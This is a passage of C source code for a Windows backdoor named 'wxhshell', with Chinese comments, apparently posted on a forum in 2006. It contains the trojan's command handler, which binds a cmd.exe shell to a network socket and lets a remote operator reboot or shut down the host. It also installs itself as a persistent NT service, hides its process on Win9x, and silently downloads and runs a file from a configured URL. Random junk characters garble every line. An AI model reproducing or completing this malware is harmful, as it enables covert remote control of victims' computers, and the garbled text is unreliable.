  case '?': { D%^EG8i n.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \XRViG,|5  
    break; ?-@h Nrx  
  } ^[zF_df  
  // 安装 <R3S{ ty  
  case 'i': { FNc[2sI  
    if(Install())  o{-PT'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /c'#+!19  
    else @.0jC=!l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W!tP sPM  
    break; L7D'wf  
    } g"T~)SQP  
  // 卸载 ?Fi-,4  
  case 'r': { @Wx_4LOhf  
    if(Uninstall()) dDpe$N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N# ,4BU  
    else ORtl~V'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |qI_9#M\(  
    break; m7M*)N8  
    } WX0@H[$i#  
  // 显示 wxhshell 所在路径 #v&&GuF  
  case 'p': { #G*z{BRQ  
    char svExeFile[MAX_PATH]; |;D[Al5AMc  
    strcpy(svExeFile,"\n\r"); 55$by.rf?  
      strcat(svExeFile,ExeFile); ).ugMuk  
        send(wsh,svExeFile,strlen(svExeFile),0); PFPfLxna  
    break; sXhtn' <v  
    } 8:t-I]dzk  
  // 重启 a[(n91J0  
  case 'b': { i(c2NPbX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q;aZpi-E"  
    if(Boot(REBOOT)) E#HO0 ]S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u|QfCwQ  
    else { 6eS#L21*  
    closesocket(wsh); :=i0$k<E/  
    ExitThread(0); /au\OBUge  
    } cOUO_xp(  
    break; ~(%G; fZ?x  
    } Nju7!yVM_  
  // 关机 W1: o2 C7  
  case 'd': { ,Y`C7Px  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?<nz2 piP,  
    if(Boot(SHUTDOWN)) |_w*:NCV5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wV-cpJ,}  
    else { @#T?SNIL5  
    closesocket(wsh); p O: EJ  
    ExitThread(0); ?L'k2J  
    } S>"dUM  
    break; ,#c-"x Y  
    } 5X`.2q=d  
  // 获取shell 7PisX!c,h  
  case 's': { C&5T;=<jKO  
    CmdShell(wsh); y!v$5wi  
    closesocket(wsh); @{ nT4{  
    ExitThread(0); +-.BF"}  
    break; 1%-?e``.  
  } MiSFT5$v6  
  // 退出 <4O=[Q5S  
  case 'x': { mR0@R;,p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (+^1'?C8  
    CloseIt(wsh); +m+HC(Z  
    break; W:) M}}&H  
    } [{zekF~)@  
  // 离开 vW4 f3(/  
  case 'q': { -_4! id  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aoJ&< vl3  
    closesocket(wsh); {;-$;\D  
    WSACleanup(); RMvlA' c  
    exit(1); yGD0}\!n  
    break; ]7VK&YfN  
        } /S;?M\  
  } }Ns_RS$  
  } db4&?55Q  
P0z "Eq0S  
  // 提示信息 b uhxC5i%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yqBu7E$X  
} Iy,)>V%iZV  
  } D^TKv;%d  
_n_i*p '2  
  return; QWxQD'L'  
} N\Hd3Om  
8bK}& *z<  
// shell模块句柄 []Fy[G.)H  
int CmdShell(SOCKET sock) ~z'0~3  
{ Tl1?5  
STARTUPINFO si; ##n\9ipD  
ZeroMemory(&si,sizeof(si)); P,%|(qB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .9ROa#7U;n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @e Myq1ZU  
PROCESS_INFORMATION ProcessInfo; *Zc-&Dk:Ir  
char cmdline[]="cmd"; h5Z\9`f[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZU@V]+ww  
  return 0; |aVv Lz  
} z[k2&=c  
DMf9wB  
// 自身启动模式 :heJ5* !,  
int StartFromService(void) A%2!Hr  
{ l%U9g  
typedef struct tou^p-)GQ|  
{ %!=YNm  
  DWORD ExitStatus; ^{Vm,nAQqs  
  DWORD PebBaseAddress; cbteNA!>  
  DWORD AffinityMask;  o j^U  
  DWORD BasePriority; /J6CSk  
  ULONG UniqueProcessId; C4G)anT  
  ULONG InheritedFromUniqueProcessId; $_ NaxV  
}   PROCESS_BASIC_INFORMATION; D{4 Y:O&J  
e-s@@k  
PROCNTQSIP NtQueryInformationProcess; Vnl~AQfk|  
\vT8 )\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^ ID%pd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nph{  
%*/[aq,#  
  HANDLE             hProcess; 'v,W gPe  
  PROCESS_BASIC_INFORMATION pbi; =DCQ!02  
ydFY<Mb(o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >:xnjEsi$/  
  if(NULL == hInst ) return 0; >2|#b  
[L\w] 6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0hv[Ff  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z/I!\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eGE%c1H9a  
hT_snb;ow  
  if (!NtQueryInformationProcess) return 0; | -R::gm  
f>'7~69  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =?2y <B  
  if(!hProcess) return 0; c]LH.  
e Jwr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tb i;X=5  
/qCYNwWH9  
  CloseHandle(hProcess); Po_9M4kU  
4H,DG`[Mo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q,4F=b  
if(hProcess==NULL) return 0; 5bAXa2Vt  
WDX?|q9rCt  
HMODULE hMod; ;e{2?}#8&  
char procName[255]; kj8zWG4KH  
unsigned long cbNeeded; `SG70/  
5FzRusNiA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9@j~1G%^  
<V, ?!}V  
  CloseHandle(hProcess); l&rDa=m.J  
[0}471  
if(strstr(procName,"services")) return 1; // 以服务启动 5>=tNbk"s  
eS"gHldz  
  return 0; // 注册表启动 ~ U1iB  
} SN+Bmdup  
V?"^Ff3m!  
// 主模块 =UV?Pi*M>  
int StartWxhshell(LPSTR lpCmdLine) Y[H_?f=;%  
{ )FP|}DCxQ  
  SOCKET wsl; 0L1P'*LRU  
BOOL val=TRUE; %pt $S~j  
  int port=0; 4/jY;YN,2  
  struct sockaddr_in door; }}2 kA  
pFK |4u  
  if(wscfg.ws_autoins) Install(); (kHR$8GFM  
j@ "`!uPz  
port=atoi(lpCmdLine); RpXQi*c0  
J.&q[  
if(port<=0) port=wscfg.ws_port; SUEw5qitB  
7HJv4\K  
  WSADATA data; </%H'V@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? vlGr5#  
e\dT~)c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N!v@!z9Mu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ArEpH"}@  
  door.sin_family = AF_INET; `8-aHPF-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6?lg 6a/eO  
  door.sin_port = htons(port); rNAu@B  
J'EK5=H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h <M7[p=  
closesocket(wsl); 98]t"ny [  
return 1; 0 mQ3P.9  
} HB}gn2 .1&  
$7r wara  
  if(listen(wsl,2) == INVALID_SOCKET) { KH7]`CU  
closesocket(wsl); KCFwO'  
return 1; mx[^LaR>v  
} o`U\Nhq  
  Wxhshell(wsl); VB#31T#q?  
  WSACleanup(); g-^m\>B  
oD7H6\_  
return 0; oL@ou{iQ  
-7$'* V9$  
} {q)B@#p  
JXAyF6 $  
// 以NT服务方式启动 zJ:r0Bt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &>jkfG  
{ C{Ug ?hVP  
DWORD   status = 0; .g#=~{A  
  DWORD   specificError = 0xfffffff; {Y"r]:5i  
-FR;:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VB\6S G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9c^EoYpy-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "{k )nr+7U  
  serviceStatus.dwWin32ExitCode     = 0; $iPN5@F  
  serviceStatus.dwServiceSpecificExitCode = 0; "6d bRo5%  
  serviceStatus.dwCheckPoint       = 0; Zz-;jkX)  
  serviceStatus.dwWaitHint       = 0; \k=Qq(=  
wUeOD.;#F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |BkY"F7m9  
  if (hServiceStatusHandle==0) return; IpJv\zH7  
O)|4>J*B  
status = GetLastError(); Ltw7b  
  if (status!=NO_ERROR) <`3(i\-X  
{ EAB+kY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K)+l6Q  
    serviceStatus.dwCheckPoint       = 0; @>@Nu g2   
    serviceStatus.dwWaitHint       = 0; QL2y,?Mz7  
    serviceStatus.dwWin32ExitCode     = status; B|=maz:_  
    serviceStatus.dwServiceSpecificExitCode = specificError; aTm.10{^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); weV#%6=5\  
    return; pCUOeQL(  
  } 'lk74qU$  
ss{=::#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SU'9+=_$  
  serviceStatus.dwCheckPoint       = 0; xUpb1 R  
  serviceStatus.dwWaitHint       = 0; \#jDQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3x0wk9lND  
} mv?H]i`N  
O`jA-t  
// 处理NT服务事件,比如:启动、停止 /&:9VMMj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pu*HZW3l  
{ ^6oqq[$  
switch(fdwControl) ('-}"3  
{ U_;J.{n  
case SERVICE_CONTROL_STOP: eKz~viM'  
  serviceStatus.dwWin32ExitCode = 0; 9:i,WJO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )xx/di  
  serviceStatus.dwCheckPoint   = 0; XHM"agrhSQ  
  serviceStatus.dwWaitHint     = 0;  Gy6 qLM  
  { 9*+0j2uhQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2 `h!:0  
  } @n X2*j*u  
  return; <`_OpNxqW  
case SERVICE_CONTROL_PAUSE: @1&;R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N8YBu/  
  break; 6q[!X0u  
case SERVICE_CONTROL_CONTINUE: Gi2ad+QH-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u?3NBc$~A  
  break; .S'fM]_#  
case SERVICE_CONTROL_INTERROGATE: )R)$T'  
  break; u%1k  
}; $%%>n ^??  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d<Q+D1  
} Y `7#[g  
o+_/)c  
// 标准应用程序主函数 ^GrkIh0nL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?hJsN  
{ 27],O@ 2?L  
XBQ<  
// 获取操作系统版本 Dyk[u g5  
OsIsNt=GetOsVer(); y^QYl ZO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A]iv)C;]  
k g,ys4  
  // 从命令行安装 Wbn[Q2h5  
  if(strpbrk(lpCmdLine,"iI")) Install(); ( OyY_`  
f>)Tq'  
  // 下载执行文件 QPe9s[Y  
if(wscfg.ws_downexe) { uH&,%k9GVK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {eswe  
  WinExec(wscfg.ws_filenam,SW_HIDE); :DMHezaU  
} -RH4y 2  
KM5DYy2 A6  
if(!OsIsNt) { +dgo-)kP(_  
// 如果时win9x,隐藏进程并且设置为注册表启动 /LI~o~m1)  
HideProc(); N+s?ZE*  
StartWxhshell(lpCmdLine); FQ^<,  
} 8PoHBOxpc  
else 'lN*Ys iDi  
  if(StartFromService()) Z cTL#OTP  
  // 以服务方式启动 c2/R]%`)9  
  StartServiceCtrlDispatcher(DispatchTable); EID)o[<  
else Z6R: rq  
  // 普通方式启动 N* ] i G~  
  StartWxhshell(lpCmdLine); B)"#/@!bHH  
6L8tz 8  
return 0; mS:j$$]u  
}
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只看该作者 1 发表于: 2006-10-10
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